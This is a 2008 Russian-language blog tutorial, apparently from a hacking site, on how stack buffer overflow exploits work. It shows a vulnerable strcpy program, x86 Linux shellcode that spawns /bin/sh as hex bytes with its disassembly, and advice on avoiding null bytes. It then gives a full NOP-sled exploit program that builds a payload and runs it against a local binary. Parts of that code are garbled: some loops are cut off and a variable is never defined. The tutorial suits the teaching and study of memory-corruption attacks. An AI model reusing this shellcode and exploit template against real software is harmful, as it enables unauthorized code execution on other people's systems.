Как устроены эксплоиты

adm  •  15 April, 2008

Эксплоит, как известно, программа использующая некую ошибку в программном обеспечении для выполнения некоторых действий в атакуемой системе. Это может быть выполнение некоторого кода. Эксплоиты делятся на несколько категорий: эксплоиты приводящие к D.O.S. и эксплоиты выполняющие код. Конечно есть еще один класс эксплоитов - неработающие эксплоиты, но об этом мы поговорим позже.


В данной статье речь пойдет об эксплоитах приводящих к выполнению кода на атакуемой системе. Такие эксплоиты основаны, чаще всего, на переполнении буфера. Дело в том, что многие программные продукты содержат определенный класс ошибки, при которой данные не помещаются в отведенный в оперативной памяти массив, после чего оставшиеся данные непомещенные в массив попадают в стэк, где выполняются в качестве программного кода. Помните в эксплоитах некую непонятную строку символов, примерно из 15-50 байт... вот это и есть тот самый шеллкод - то, что по идее автора эксплоита должно попасть в стэк. Вот пример программы, при которой возможно переполнение буфера:

---------------------------------
#include
int
main(int argc, char* argv[])
{
char buffer[100];
strcpy(buffer,argv[1]);
return 0;
}
---------------------------------
Давайте рассмотрим пример подробнее: у нас есть массив из 100 элементов. Далее мы копируем первый позиционный параметр (параметр командной строки) в наш массив. Заметьте, что у нас нет проверки на длинну нашего входного параметра, т.е. существует прямая угроза переполнения нашего буфера.
Теперь рассмотрим примеры написания эксплоитов. Есть несколько возможностей получить эксплоит: найти в интернете, написать самому, подправить существующий. Первый способ самый простой, но и самый не надежный: не факт, что под данную операционную систему существует уже готовый эксплоит, да и возможно, что вы первый, кто нашел эту уязвимость. Второй способ самый лучший, так как вы сами пишите - сами пользуете. Но есть и отрицательные стороны: нужно знать как минимум один язык программирования для написания программы-"контейнера" (так я называю программу выполняющую главную функцию по установке шеллкода). В этом случае вы плавно спускаетесь до уровня 3 - модификация чужого эксплоита. Я не считаю это зазорным, так как зная, что ты изменяешь, можно получить совершенно новый эксплоит. Примером может послужить модификация шеллкода.
Вы наверное уже заметили, что не все эксплоиты работают (об этом я уже говорил). Одной из причин может послужить неверная версия ОС. Дело в том, что программы-шеллкоды различаются в написании для Линукса и БСД-систем, так как шеллкод обычно пишется на ассемблере, а, например, параметры в БСД системах передаются через стэк, в то время, как в Линуксе через регистры... но мы не об этом.
Чтоб не повторять уже написанных статей, я не буду рассказывать о том, как написать шеллкод - мы поступим по другому. Если человек чему-то хочет научиться, ему нужно смотреть в исходники уже написанных продуктов. У шеллкода также есть исходники, но как их получить? На ум приходит дизассемблирование. Берем готовый шеллкод и пихаем его в программу на С примерно таким образом:

--------------------------------------------------------------------
char shellcode[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff"
"/bin/sh";
int
main(int argc,char* argv[])
{
void(*shell)()=(void*)shellcode;
shell();
return 0;
}
--------------------------------------------------------------------
Компилируем. И дизасмим: objdump -D shellprog|more<>. Листаем до секции . Вы должны получить следующее:
------------------------------------------------------------------------------
080494e0 :
80494e0: eb 1f jmp 8049501
80494e2: 5e pop %esi
80494e3: 89 76 08 mov %esi,0x8(%esi)
80494e6: 31 c0 xor %eax,%eax
80494e8: 88 46 07 mov %al,0x7(%esi)
80494eb: 89 46 0c mov %eax,0xc(%esi)
80494ee: b0 0b mov $0xb,%al
80494f0: 89 f3 mov %esi,%ebx
80494f2: 8d 4e 08 lea 0x8(%esi),%ecx
80494f5: 8d 56 0c lea 0xc(%esi),%edx
80494f8: cd 80 int $0x80
80494fa: 31 db xor %ebx,%ebx
80494fc: 89 d8 mov %ebx,%eax
80494fe: 40 inc %eax
80494ff: cd 80 int $0x80
8049501: e8 dc ff ff ff call 80494e2
8049506: 2f das
8049507: 62 69 6e bound %ebp,0x6e(%ecx)
804950a: 2f das
804950b: 73 68 jae 8049575 <_DYNAMIC+0x2d>

|_________| |__________________| |___________________________________|
Смещение байт-код(он и со- дизассемблированный
относитель- ставляет шеллкод) код программы
но начала
------------------------------------------------------------------------------
Вот мы и получили исходный код шеллкода. Если вы немного знакомы с программированием на ассемблере под юникс, то разобраться будет не сложно. Отмечу лишь то, что в данном случае используется системный вызов execve для запуска дополнительного шела /bin/sh (шеллкод взят с какого-то сайта). Как видите, по объему программа на асме не такая уж огромная... но вот пользы от нее уйма.
Стоит отметить, что сам шеллкод является данными, которые посылаются в буфер, а концом любых данных является нуль-байт - '\0'. По этому, когда вы будете писать свой байт-код, следите за тем, чтоб у вас не было байтов типа '\x00', так как после этого байта в стэк уже ничего не попадет. Для избежания этого не стоит использовать конструкции типа pushl $0. В случае, если вам нужно поместить в стэк ноль, пишите следующим образом:
-------------------
xorl %eax,%eax
pushl %eax
-------------------
Также ошибка может заключаться в помещении в регистр номера системной функции. Обычно это байт а не двойное слово, по этому нужно вместо
movl $0x17,%eax
использовать пересылку командой movb в младшую часть регистра:
movb $0x17%al
Вообще, по написанию шеллкодов написанно множество статей, но боюсь, что ничего нового я не напишу...
Итак, у нас есть шеллкод. Для проверки его работоспособности вы можете его запустить (откомпиллированная программа). У каждой программы есть указатель на начало ее стэка. Получить его можно следующим образом:
-----------------------------------
unsigned long
get_sp(void)
{
__asm__("movl %esp,%eax");
}
-----------------------------------
Зная адрес начала стэка, мы пишем программу, при этом все переменные должны располагаться после этого адреса.
Итак, у нас есть программа, есть шеллкод.. пора брать быка за рога. У нас есть массив из 100 элементов - это значит, что нужно воткнуть наш шеллкод куда-то внутрь него. Но при этом не потерять его в памяти, те всегда иметь указатель на начало нашего шеллкода. Также нам необходимо, чтобы перед нашим кодом не попало в стэк ничего лишнего, что могло бы привести к сбою программы. Мы уже говорили об указателе на начало стэка, значит наш буфер должен располагаться если не сразу после этого адреса, то где-то неподалеку. Для того, чтоб пропустить весь "мусор", мы в буфер "мусор" кидать не будем - мы заполним буфер командой NOP. Данная команда используется для кратковременной задержки длительностью в один такт, так что она ничего не делает - происходит переход к следующей команде. Я думаю вы уже догадались... Мы просто заполним весь наш оставшийся массив данной командой (\x90), так что при прыжке в любое место буфера мы просто пропустим несколько тактов процессора и попадем на точку входа нашей процедурки на асме.
Давайте создадим новый буфер большей величины следующего содержания: начало будет состоять из NOP'ов, где-то в середине будет наш шеллкод, а в конце будет адрес возврата.
--------------------------------------------------------------------
#include
#include

#define RET 1024
#define RANGE 200


char shellcode[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff"
"/bin/sh";

unsigned long
get_sp(void)
{
__asm__("movl %esp,%eax");
}

int
main(int argc,char *argv[])
{
int offset=0,bsize=RET+RANGE+1;
int i;
char buff[bsize],*ptr;
long ret;
unsigned long sp;

;

if(argc<1)
{
printf("There where no offset\n");
exit 0;
}
offset=atoi(argv[1]);
sp=get_sp();
ret=sp-offset;

printf("The stack pointer is: 0x%x\n",sp);
printf("The offset is: 0x%x\n",offset);
printf("Ret_addr is: 0x%x\n",ret);

for(i=0;i {
buff[i]=(addr&0x000000ff);
buff[i+1]=(addr&0x0000ff00)>>8;
buff[i+2]=(addr&0x00ff0000)>>16;
buff[i+3]=(addr&0xff000000)>>24;
}
for(i=0;i buff[i]='\x90';

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

for(i=0;i *(ptr++)=shellcode[i];

buff[bsize-1]='\0';

execl("./vulnerable1","vulnerable1",buff,0);



}
--------------------------------------------------------------------

Смещение стоит выбирать такое, чтобы попасть. Так как в нашем случае буфер находится в качестве единственной переменной, к тому же она находится в начале программы, то и смещение должно быть относительно малым. У меня на машине смешение от 200-700 работало, но помните, что это зависит от конкретной машины, следовательно у вас это значение может отличаться.

Комментарии

Нет комментариев. Вы можете быть первым!

Оставить комментарий


Warning: Parameter 1 to NP_Captcha::event_FormExtra() expected to be a reference, value given in /home/bh52645/public_html/hacktheplanet.ru/nucleus/libs/MANAGER.php on line 370